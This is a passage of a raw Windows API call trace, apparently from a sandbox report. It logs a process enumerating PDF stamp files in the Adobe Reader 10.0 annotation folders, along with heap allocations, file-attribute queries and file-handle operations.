0x124b8e0 [0083.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215020 [0083.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a3d08 [0083.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.005] GetLastError () returned 0x12 [0083.005] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.005] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.005] GetLastError () returned 0x12 [0083.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.006] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.007] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0083.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.008] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.008] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.009] NtClose (Handle=0x180) returned 0x0 [0083.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.010] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.010] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.010] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215040 [0083.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a3e10 [0083.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215060 [0083.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a3f18 [0083.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.014] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215080 [0083.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4020 [0083.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.015] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12150a0 [0083.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4128 [0083.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.017] GetLastError () returned 0x12 [0083.017] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.017] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.018] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.018] GetLastError () returned 0x12 [0083.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.018] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.018] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0083.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.020] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.020] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.021] NtClose (Handle=0x174) returned 0x0 [0083.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.022] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.022] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12150c0 [0083.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4230 [0083.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 